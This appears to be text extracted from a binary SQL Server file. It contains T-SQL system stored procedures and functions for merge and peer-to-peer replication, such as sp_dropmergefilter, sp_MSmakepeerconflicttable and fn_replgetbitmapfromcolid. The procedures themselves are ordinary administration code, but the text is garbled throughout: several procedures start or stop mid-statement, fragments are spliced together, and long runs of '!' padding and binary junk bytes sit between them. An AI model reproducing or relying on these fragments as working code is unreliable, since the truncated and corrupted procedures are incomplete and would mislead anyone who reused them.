           	or fks.delete_referential_action = 2 -- on delete set null
		or fks.delete_referential_action = 3 -- on delete set default
		or fks.update_referential_action = 2  -- on update set null
		or fks.update_referential_action = 3 -- on update set default
        	))
        begin
            select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
            from sys.objects
            where object_id = @objid
            
            select @owner_qualified_join_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
            from sys.objects
            where object_id = @join_objid
            
            raiserror(25019, 16, -1, @owner_qualified_art_name, @owner_qualified_join_name)
            goto FAILURE
        end        
                
        -- Enforce DRI relation
        exec @retcode = sys.sp_MScheck_joinfilter_using_dri @publication,
                                                            @article,
                                                            @objid,
                                                            @join_objid,
                                                            1,
                                                            @join_filterclause
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
            
        -- based on usability feeback, we should set the allow_subscriber_initiated_snapshot
        -- option to 1 rather than raise an error.
        update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
            where pubid = @pubid
    end
    
    exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    if (@regenerate_triggers = 1)
    begin
        exec @retcode = sys.sp_MSpublicationview @publication = @publication, @force_flag = 1
        if @@ERROR<>0 or @retcode <>0
            goto FAILURE

        exec @retcode = sp_MSregenerate_mergetriggers @publication = @publication
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
    end
        
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    Commit TRAN
    return(0)

FAILURE:
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION change_filter
        COMMIT TRANSACTION
    end
    RAISERROR (20038, 16, -1, @article, @publication)
    return(1)
 
oKoKnamic_snapshot_jobid

    if @@error <> 0
        goto Failure

    if @ignore_distributor = 0
    begin
        -- Drop the dynamic snapshot job at the distributor 
        select @distproc = QUOTENAME(RTRIM(@rpcsrvname)) + N'.' + QUOTENAME(@distribdb) + N'.' + N'dbo.sp_MSdrop_dynamic_snapshot_agent'

        exec @retcode = @distproc @publisher, @publisher_db, @publication, @agent_id
        if @retcode <> 0 or @@error <> 0
            goto Failure
    end
    commit transaction
    return 0

Failure:
    rollback transaction sp_MSdropmergedynamicsnapshotjob
    commit transaction
    return 1
end
}l}he max timestamp from the MSsnaphsot_history table so that
    -- we can look for history information higher than that timestamp
    select @distproc = quotename(rtrim(@rpcsrvname)) + '.' + quotename(@distribdb) + '.sys.sp_executesql '
    select @command = N' exec @retcode2 = ' + quotename(@distribdb) + '.sys.sp_MSgetmaxsnapshottimestamp ' + convert(nvarchar(5),@agentid) + ', @timestamp output'
    EXEC @retcode = @distproc @command, N'@timestamp timestamp output, @retcode2 int output', @retcode2=@retcode2 output, @timestamp=@timestamp output
    if @@error <> 0 or @retcode <> 0 or @retcode2 <> 0
    begin
        raiserror(20655, 16, -1)
        goto FAILURE
    end

    select @distproc = rtrim(@rpcsrvname) + N'.msdb.dbo.sp_start_job'    
    exec @retcode = @distproc @job_id = @jobid
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(20633, 16, -1)
        goto FAILURE
    end

    -- now return the the job id so that the merge agent can monitor the job
    select '', @agentid, @timestamp
    return 0
    
FAILURE:
    raiserror(20628, 16, -1)
    return 1 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~
`<x28N&Z0> &8create procedure sys.sp_MSmakepeerconflicttable (
	@fulltablename nvarchar(540), --qualified with owner
	@schema_option  bigint, 
	@scriptonly bit = 0
)
as
begin

    	declare	@retcode        int
    			,@basetabid		int
			,@ownername     nvarchar(1000)
			,@basetablename     nvarchar(1000)
			,@conflicttablename nvarchar(1000) 
			,@indexname nvarchar(1000)
			,@cmd           nvarchar(max)
			,@colid     int
			,@colname       nvarchar(1000)
			,@coltype       nvarchar(1000)
			,@indid         int
			,@indkey        int
			,@key           nvarchar(1000)
			,@dbname	nvarchar(1000)
			,@tmptablecreated bit = 0
			
	set nocount on

	-- Check and make sure the table exists
	select @basetabid = OBJECT_ID (@fulltablename, N'U')
	if @basetabid is null
	begin
		raiserror(15388, 16, 1, @fulltablename)
		return (1)
	end

	select	@basetablename = OBJECT_NAME(@basetabid)
			,@ownername = schema_name(objectproperty(@basetabid, 'SchemaId'))

	-- generate the conflict table name
	exec sp_MSgetpeerconflictname @prefix = N'conflict', @tabid = @basetabid, @peerconflictname = @conflicttablename output
	if @@error <> 0 or @conflicttablename is NULL
		return (1)

	select @conflicttablename = N'[dbo].' + QUOTENAME(@conflicttablename) 

	-- generate the index name
	exec sp_MSgetpeerconflictname @prefix = N'cftind', @tabid = @basetabid, @peerconflictname = @indexname output

	-- begin tran
	begin tran 
	save tran tr_sp_MSmakepeerconflicttable

	if OBJECT_ID(@conflicttablename, N'U') is not null
	begin
		if exists(select * from sys.objects where object_id = OBJECT_ID(@conflicttablename, N'U') and is_ms_shipped = 1)
		begin --assume it IS the conflict table, if it is marked as MS shipped
			goto COMMIT_TRAN
		end
		else
		begin
			select @cmd = N'DROP TABLE ' + @conflicttablename
			exec (@cmd) --existing table with the same name is dropped
			if @@error <> 0
			begin
				goto UNDO
			end
			else
			begin
				raiserror(22809, 10, -1, @conflicttablename) --raise a warning
			end
		end
	end
	

	exec @indid = sys.sp_MStable_has_unique_index @basetabid
	if (@indid = 0)
	begin
		raiserror(21750, 16, 1, @fulltablename)
				goto UNDO
	end

	if  (OBJECT_ID(N'tempdb..#tempcmd', N'U') IS NOT NULL)
		drop table #tempcmd
		
	create table #tempcmd (step int identity NOT NULL, cmdtext nvarchar(max) NULL)
	if @@error <> 0
		goto UNDO
	else
		select @tmptablecreated = 1

	insert into #tempcmd(cmdtext) values(N'CREATE TABLE ' + @conflicttablename + N' (')
	insert into #tempcmd(cmdtext) values(N'__$originator_id int NULL')
	insert into #tempcmd(cmdtext) values(N',__$origin_datasource int NULL')
	insert into #tempcmd(cmdtext) values(N',__$tranid nvarchar(40) NULL')
	insert into #tempcmd(cmdtext) values(N',__$conflict_type int NULL')
	insert into #tempcmd(cmdtext) values(N',__$is_winner bit NULL')
	insert into #tempcmd(cmdtext) values(N',__$pre_version varbinary(32) NULL')
	insert into #tempcmd(cmdtext) values(N',__$reason_code int NULL')
	insert into #tempcmd(cmdtext) values(N',__$reason_text nvarchar(720) NULL')
	insert into #tempcmd(cmdtext) values(N',__$update_bitmap varbinary(32) NULL')
	insert into #tempcmd(cmdtext) values(N',__$inserted_date datetime DEFAULT GETDATE ( ) NOT NULL ')
	insert into #tempcmd(cmdtext) values(N',__$row_id rowversion NOT NULL')
	insert into #tempcmd(cmdtext) values(N',__$change_id binary(8) NULL')


	-- Declare the cursor to get info on each column of base table
	declare #hcurColumnInfo cursor local FAST_FORWARD FOR
		select column_id, name
		from sys.columns
		where is_computed = 0 	and object_id = @basetabid 
		order by column_id
	for read ONLY

	open #hcurColumnInfo
	fetch #hcurColumnInfo into @colid, @colname
	while (@@FETCH_STATUS = 0)
	begin

		-- Get the typestring for this column
		-- Skip this column if it is NULL

		select @coltype = [sys].[fn_gettypestring](@basetabid, @colid, 1, 0, 0, 0, 1, 0, 0, 0, 0) 
		if (@@ERROR != 0 or @coltype is NULL)
		begin
			raiserror(21542, 16, 1, @@error, 'fn_gettypestring')
			goto UNDO
		end

		-- Create the column info, always allow NULL regardless of source, it's always possible to have to insert NULL in some of the columns in case update/delete is not using CALL/XCALL format
		insert into #tempcmd(cmdtext) values(N',' + quotename(@colname) + N' ' + @coltype + N' NULL')

		fetch #hcurColumnInfo into @colid, @colname
	end
	-- insert right )  into the temptable
	insert into #tempcmd(cmdtext) values(N')')
	close #hcurColumnInfo
	deallocate #hcurColumnInfo

	-- Create an unique index - we add some three fields to the index of base table
	insert into #tempcmd(cmdtext) values(N'
						CREATE UNIQUE INDEX ' + quotename(@indexname) + N' ON ' +  @conflicttablename  + N'( __$originator_id ')

	select @indkey = 1
			,@cmd = N''
	while (@indkey <= 16)
	begin   
		select @key = index_col(@fulltablename, @indid, @indkey)
		if (@key is not null)
		begin
			select @cmd = @cmd + N', ' + quotename(@key)
		end
		select @indkey = @indkey + 1
	end
    
	--
	-- Add two more fields in the end for the index
	--
	select @cmd = @cmd + N', __$tranid, __$row_id)'
	insert into #tempcmd(cmdtext) values(@cmd)
	
	if (@scriptonly = 1)
	begin
		select cmdtext from #tempcmd order by step
	end
	else
	begin
		--
		-- create the table now
		--
		select @dbname = db_name()
		select @cmd = 'select cmdtext from #tempcmd order by step'
		exec @retcode = sys.xp_execresultset @cmd, @dbname
		if (@@error != 0 or @retcode != 0)
		begin
			raiserror(21542, 16, 1, @@error, 'xp_execresultset')
			goto UNDO
		end

		exec @retcode = dbo.sp_MS_marksystemobject @conflicttablename
		if (@@error != 0 or @retcode != 0)
		begin
			-- roll back the tran
			raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
			goto UNDO
		end

	end

COMMIT_TRAN:
	--
	-- commit the tran
	--
	if @tmptablecreated = 1
		drop table #tempcmd
	commit tran tr_sp_MSmakepeerconflicttable
	return (0)

UNDO:
	rollback tran tr_sp_MSmakepeerconflicttable
	commit tran
	return (1)
end
0@ P8hy>zR{0@ \8Q[Rh>8^%r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<9>a0 8
create procedure sys.sp_MSgetmakegenerationapplock
    @head_of_queue int OUTPUT
    as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1
    
      select @retcode = 0
    select @head_of_queue = 0
    
    select @lock_resource = N'MSinternal_makegeneration_inprogress' + 
                convert(nvarchar(11), db_id())
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
    
    -- If someone else is making generations / has just made one, exit so
    -- that we won't deadlock
    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = N'Exclusive',
                                  @LockOwner = N'Session',
                                  @LockTimeout = 0, -- do not wait at all. 
                                  @DbPrincipal = @DbPrincipal

    if @@error <> 0 or @retcode < 0
    begin
        -- If the previous applock request timed out, then try again, this time using the default timeout.
        -- Note that even though the -1 lock timeout means indefinite timeout, the query timeout set on the 
        -- session overrides the lock timeout. So it's okay even if the default @@lock_timeout is -1.
        if (@retcode = -1)
        begin
            exec @retcode = sp_getapplock @Resource = @lock_resource,
                        @LockMode = N'Exclusive',
                        @LockOwner = N'Session',
                        @DbPrincipal = @DbPrincipal

            -- If we succeeded to get the lock, set @lock_acquired to 1 so that the exit code releases the lock.
            if (@retcode >= 0)
            begin
                goto EXIT_PROC
            end
        end
    end
    else
    begin
        select @head_of_queue = 1
    end

EXIT_PROC:
    return @retcode

0֬ 8 
-- add it
create view sys.pdw_loader_backup_run_details as
select
	run_id,
	pdw_node_id,
	status	collate database_default status,
	start_time,
	end_time,
	total_elapsed_time,
	progress
from sys._pdw_loader_backup_run_details
0k.@ 8create procedure sys.sp_MScreate_replication_status_table
as
    declare @retcode int

    if (select object_id('tempdb.dbo.MSreplication_agent_status')) is NULL
    begin
        -- begin tran
        create table tempdb.dbo.MSreplication_agent_status (
            publisher sysname NOT NULL,
            publisher_db sysname NOT NULL,
            publication sysname NOT NULL,
            publication_type int NOT NULL,          -- 0 transactional/snapshot  1 Merge
            agent_type int NOT NULL,
            status int NOT NULL,
            agent_name nvarchar(100) NOT NULL,
            timestamp NOT NULL
            )
        if @@error <> 0
            return 1
        
        create clustered index cMSreplication_agent_status ON tempdb.dbo.MSreplication_agent_status (agent_name)
        if @@error <> 0
            return 1
        create nonclustered index unc1MSreplication_agent_status ON 
            tempdb.dbo.MSreplication_agent_status (publication, publisher_db, publisher)
        if @@error <> 0
            return 1
        create nonclustered index unc2MSreplication_agent_status ON 
            tempdb.dbo.MSreplication_agent_status (agent_type)
        if @@error <> 0
            return 1
        create nonclustered index unc3MSreplication_agent_status ON 
            tempdb.dbo.MSreplication_agent_status (timestamp)
        if @@error <> 0
            return 1

        exec @retcode = tempdb.dbo.sp_MS_marksystemobject 'dbo.MSreplication_agent_status'
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    return 0  -- If here, all is well and we're done.
0@ A8create procedure sys.sp_MSupdateinitiallightweightsubscription
	@publisher					sysname,
	@publisher_db				sysname,
	@publication_name			sysname,
	@pubid						uniqueidentifier,
	@allow_subscription_copy	bit,
	@retention					int,
	@conflict_logging   		int,
	@status                     int,
	@allow_synctoalternate		bit,
	@replicate_ddl				int,
	@automatic_reinitialization_policy bit
as
	set nocount on

	declare @retcode int
	
	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1
	
    declare @pubid_local uniqueidentifier

    select @pubid_local = pubid from dbo.sysmergepublications 
        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and 
			  publisher_db = @publisher_db and 
			  name = @publication_name
    
	update dbo.sysmergepublications 
		set pubid=	@pubid, 
			retention= @retention,
			status= @status,
            centralized_conflicts= case @conflict_logging
                when 1 then 1
                when 2 then 1
                else 0
            end,
            decentralized_conflicts= case @conflict_logging
                when 1 then 0
                when 2 then 1
                else 1
            end,
			allow_subscription_copy= @allow_subscription_copy,
			allow_synctoalternate= @allow_synctoalternate,
			replicate_ddl= @replicate_ddl,
			automatic_reinitialization_policy= @automatic_reinitialization_policy
		where pubid = @pubid_local
	if @@error <> 0 return 1

    update dbo.sysmergesubscriptions set pubid= @pubid, replicastate= newid() where pubid = @pubid_local
	if @@error <> 0 return 1

    update dbo.sysmergesubscriptions set subid = @pubid where subid = @pubid_local
	if @@error <> 0 return 1
	
	update dbo.MSmerge_replinfo set repid = @pubid where repid = @pubid_local
	if @@error <> 0 return 1
	
	execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
	if @@error <> 0 or @retcode <> 0 return (1)
		
	return 0
!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

`
<:: F)?60kР@ d8create procedure sys.sp_dropmergefilter
    @publication            sysname,            /* publication name */
    @article                sysname,            /* article name */
    @filtername                sysname,             /* Name of the table being joined to the base table */
    @force_invalidate_snapshot bit = 0,
    @force_reinit_subscription bit = 0
    AS

    set nocount on

    declare @pubid                  uniqueidentifier                
    declare @artid                  uniqueidentifier
    declare @join_objid             int
    declare @retcode                int
    declare @join_filterid          int
    declare @db_name                sysname
    declare @allow_anonymous        int
    declare @snapshot_ready         tinyint
    declare @filter_type            tinyint
    declare @procname nvarchar(260)
	declare @quoted_procname nvarchar(260)
    declare @compatlevel int
    declare @automatic_reinitialization_policy bit
    declare @regenerate_triggers bit
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    /* 
    ** Security Check.
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @regenerate_triggers = 0
    /*
    ** Parameter Check: @publication.
    ** The @publication id cannot be NULL and must conform to the rules
    ** for identifiers.
    */

    if @publication is NULL
    begin
        raiserror (14003, 16, -1)
        return (1)
    end

    /*
    ** Get the pubid, and check if this publication exists.
    */
    select @pubid = pubid, 
           @snapshot_ready = snapshot_ready, 
           @allow_anonymous = allow_anonymous,
           @compatlevel = backward_comp_level,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
        from dbo.sysmergepublications 
        where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication )
        return (1)
    end

    select @db_name = db_name from dbo.sysmergesubscriptions
        where (pubid=@pubid) and (subid=@pubid) 
    IF @db_name <> db_name()
    BEGIN
        RAISERROR (20047, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @article.
    ** Check to see that the @article is valid, and if it exists
    */
    if @article is NULL
    begin
        raiserror (20045, 16, -1)
        return (1)
    end

    select @artid = artid from dbo.sysmergearticles where name = @article and pubid = @pubid  
    if @artid is NULL
    begin
        raiserror (20027, 16, -1, @article)
        return (1)
    end

    select @join_filterid = join_filterid, @filter_type = filter_type from dbo.sysmergesubsetfilters
        where pubid = @pubid AND artid= @artid AND filtername=@filtername  
    if @join_filterid is NULL
    begin
        raiserror (20685, 16, -1, @filtername)
        return (1)
    end

    begin tran
    save tran dropmergefilter
    
    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_dropmergefilter', @publication)
        goto FAILURE            
    end

    select @got_merge_admin_applock = 1

    if @snapshot_ready>0
    begin
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(21382, 16, -1, @filtername)
            goto FAILURE
        end
        select @regenerate_triggers = 1
        update dbo.sysmergepublications set snapshot_ready=2,
            use_partition_groups = case when use_partition_groups = 1 then 2 else use_partition_groups end
            where pubid=@pubid
        if @@ERROR<>0
            goto FAILURE
            
        /*
        if @filter_type & 2 = 2
        begin
            exec @retcode = sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0 goto FAILURE
        end
        */
    end

    if @snapshot_ready>0 and 
       ((@allow_anonymous = 1 and @compatlevel < 90) or 
         exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and status=1))
    BEGIN
        if @force_reinit_subscription = 0
        begin
            RAISERROR (21372, 16, -1, @filtername, @publication)
            goto FAILURE
        end
        else
        begin
            exec @retcode = sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0 goto FAILURE
        end
    END

    -- remove the expand proc for this filter before deleting from sysmergesubsetfilters
    select @procname = quotename(expand_proc) from dbo.sysmergesubsetfilters where join_filterid = @join_filterid
    if @procname is not NULL
    begin
        exec ('drop proc ' + @procname)
    end

    --drop expand proc and nullify the expand_proc column in sysmergepartitioninfo 
    select @procname = expand_proc
    from dbo.sysmergepartitioninfo
    where pubid=@pubid 
            and artid = ( select art.artid from dbo.sysmergearticles art, dbo.sysmergesubsetfilters filter 
                                where art.name = filter.join_articlename and filter.pubid=@pubid and filter.artid=@artid)
    if @procname is not NULL
    begin
		select @quoted_procname = quotename(@procname)
        exec ('drop proc ' + @quoted_procname)                       
        update dbo.sysmergepartitioninfo 
        set expand_proc = null     
        where expand_proc = @procname
    end                                                      

    /*
    **    Remove the join filter from dbo.sysmergesubsetfilters
    */
    delete from dbo.sysmergesubsetfilters
        where join_filterid = @join_filterid
    if @@error <> 0
    begin
        goto FAILURE
    end

    /*
    ** set the pub type to subset or full as appropriate
    */
    exec @retcode=sys.sp_MSsubsetpublication @publication
    if @@ERROR <> 0 or @retcode<>0
    begin
        goto FAILURE
    end

    if (@regenerate_triggers = 1)
    begin
        exec @retcode = sys.sp_MSpublicationview @publication = @publication, @force_flag = 1
        if @@ERROR<>0 or @retcode <>0
            goto FAILURE

        exec @retcode = sp_MSregenerate_mergetriggers @publication = @publication
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
    end

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return(0)
    
FAILURE:
    if @got_merge_admin_applock=1
        exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    rollback tran dropmergefilter
    commit tran
    RAISERROR (20039, 16, -1, @article, @publication)
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<]
<:	;	ՉX0v 	8create function sys.fn_replgetbitmapfromcolid 
(
    @artid int          -- article id
)
returns binary(32)
as
begin
    declare @bitmap binary(32)
                ,@colid int
                ,@maxcolid int
                ,@wordoffset tinyint
                ,@bitoffset tinyint
                ,@wordmask binary(2)
                ,@oldword binary(2)
                ,@newword binary(2)

    --
    -- initialize
    --
    select @bitmap = 0x0
    --
    -- Null artid check
    --
    if (@artid is null)
	return (@bitmap)
    --
    -- Check for valid artid and max colid
    --
    select @maxcolid = max(colid) 
    from sysarticlecolumns 
    where artid = @artid
    if (@maxcolid is null or @maxcolid > 256)
        return (@bitmap)
    --
    -- enumerate through the colids
    --
    declare #hcartcol cursor local fast_forward for
        select colid 
        from sysarticlecolumns 
        where artid = @artid 
        order by colid asc
    for read only
    open #hcartcol
    fetch #hcartcol into @colid
    while (@@fetch_status != -1)
    begin
        --
        -- Get the word, bit offset for the colid
        --
        select @wordoffset = cast((16-floor((@colid - 1)/16)) as tinyint)
                ,@bitoffset = (@colid - 1) % 16
        --
        -- prepare the mask to apply on the word
        -- extract the current value of the word in the bitmap
        --
        select @wordmask = cast(substring( cast( cast( power(2, @bitoffset)as binary(4)) as nchar(2)), 2, 1 ) as binary(2))
                ,@oldword = cast( substring( cast( @bitmap as nvarchar(60)), @wordoffset, 1) as binary(2))
        if (@oldword is null)
            select @oldword = 0x0000
        --
        -- apply the mask on the current value
        -- store the updated value of the word in bitmap
        --
        select @newword = cast((cast(@oldword as smallint) | @wordmask) as binary(2))
        select @bitmap = cast(stuff( cast(@bitmap as nchar(16)), @wordoffset, 1, cast(@newword as nchar(1))) as binary(32))
        --
        -- fetch next column
        --
        fetch #hcartcol into @colid
    end
    close #hcartcol
    deallocate #hcartcol
    --
    -- all done
    --
    return (@bitmap)
end
0. D8Gph"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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~	`?;<z<EF)y0k@ 8
create procedure sys.sp_helpmergefilter
    @publication            sysname,        /* publication name */
    @article                sysname = '%',            /* article name */ 
    @filtername                sysname = '%',
    @filter_type_bm         binary(1)  = 1   /* bitmap filter for filter_type */
    
    AS

    set nocount on

    /*
    ** Declarations.
    */
    declare @pubid                    uniqueidentifier                
    declare @artid                    uniqueidentifier
    declare @retcode                int

    -- Security check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    /*
    **    Calling sp_help* is all right whether current database is enabled for pub/sub or not
    */
    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
        
    /*
    ** Parameter Check: @publication.
    ** The @publication id cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    if @publication is NULL
        begin
            raiserror (14003, 16, -1)
            return (1)
        end
    /*
    ** Get the pubid and check if the publication does exist
    */
    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
        begin
            raiserror (20026, 16, -1, @publication)
            return (1)
        end

    /*
    ** Parameter Check: @article.
    ** If an @article is specified, make sure it exists
    */
    select @artid = artid from dbo.sysmergeextendedarticlesview where name = @article and pubid = @pubid  
    if @artid is NULL and (@article <> '%' or @filtername <> '%')
        begin
            raiserror (20027, 16, -1, @article)
            return (1)
        end

    /*
    ** Parameter Check: @filter_type_bm.
    ** If a @filter_type_bm is invalid, assign it to the default value
    */
    if (@filter_type_bm is null) or (@filter_type_bm not in (1, 2, 3))
        select @filter_type_bm = 1 

    /*
        Return the merge filters from dbo.sysmergesubsetfilters
           if @filter_type_bm = 1, return the filters that has filter_type = 1 or 3   (join filters)
           if @filter_type_bm = 2, return the filters that has filter_type = 2  or 3  (logical record filters or filters that are both logical record filter and join filter)
